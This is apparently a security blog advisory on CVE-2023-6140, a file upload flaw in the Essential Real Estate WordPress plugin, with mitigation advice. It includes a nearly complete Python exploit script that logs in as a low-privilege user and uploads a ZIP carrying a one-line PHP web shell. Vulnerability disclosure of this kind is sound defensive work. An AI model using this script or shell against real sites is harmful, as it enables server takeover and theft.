Ameeba Security Research

Defensive CVE and exploit intelligence

Ameeba Blog Search
TRENDING · 1 WEEK
Attack Vector
Vendor
Severity

CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin

[post-views]

Vulnerability Summary

Affected Products

Product Affected Versions
Essential Real Estate WordPress Plugin Versions ≤ 4.3.5

How the Exploit Works

The Essential Real Estate plugin for WordPress fails to adequately validate file types during the font upload process. This oversight allows authenticated users with subscriber-level permissions or higher to upload arbitrary files, including PHP scripts disguised as ZIP archives. Once uploaded, these malicious files can be executed on the server, leading to remote code execution.​WPScan+4Wordfence+4VulDB+4NVD+3Feedly+3WPScan+3

The vulnerability resides in the gsf_upload_fonts AJAX action, which lacks proper checks to prevent the upload of dangerous file types. An attacker can exploit this by crafting a ZIP archive containing a malicious PHP file and uploading it through the vulnerable endpoint.​

Conceptual Example Code

An attacker might use the following Python script to exploit the vulnerability:​

import requests
from io import BytesIO
import zipfile

# Target URL and credentials
url = 'https://target-site.com'
username = 'subscriber_user'
password = 'password123'

# Start a session
session = requests.Session()

# Log in to WordPress
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': f'{url}/wp-admin/',
'testcookie': 1
}
session.post(f'{url}/wp-login.php', data=login_data)

# Retrieve nonce
profile_page = session.get(f'{url}/wp-admin/profile.php')
nonce = 'extracted_nonce_value' # Extract nonce from the profile_page content

# Create malicious ZIP file in memory
zip_buffer = BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
zip_file.writestr('malicious.php', '<?php system($_GET["cmd"]); ?>')
zip_file.writestr('style.css', '') # Required file
zip_buffer.seek(0)

# Upload the malicious ZIP file
files = {'file_font': ('malicious.zip', zip_buffer, 'application/zip')}
data = {'_nonce': nonce, 'name': 'malicious_font'}
response = session.post(f'{url}/wp-admin/admin-ajax.php?action=gsf_upload_fonts', data=data, files=files)

print(response.text)

This script logs into the WordPress site using subscriber credentials, retrieves the necessary nonce, creates a malicious ZIP file containing a PHP shell, and uploads it via the vulnerable AJAX action.​WPScan

Potential Risks

Mitigation Recommendations

  • Update the Plugin: Upgrade to Essential Real Estate version 4.4.0 or later, which addresses this vulnerability.​NVD+2WPScan+2Wordfence+2

  • Restrict File Uploads: Implement server-side checks to validate file types and restrict uploads to necessary formats only.​Wordfence

  • Limit User Permissions: Ensure that users have the minimum necessary permissions to perform their roles.​

  • Monitor Server Activity: Regularly review server logs for suspicious activities, such as unexpected file uploads or executions.​

Conclusion

CVE-2023-6140 is a critical vulnerability in the Essential Real Estate WordPress plugin that allows authenticated users with minimal permissions to upload and execute arbitrary PHP files, leading to potential full site compromise. Administrators should promptly update the plugin and implement the recommended security measures to protect their websites.​Feedly+1NVD+1NVD

References

Want to discuss this further? Join the Ameeba Cybersecurity Group Chat.

Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

More posts

Ameeba Chat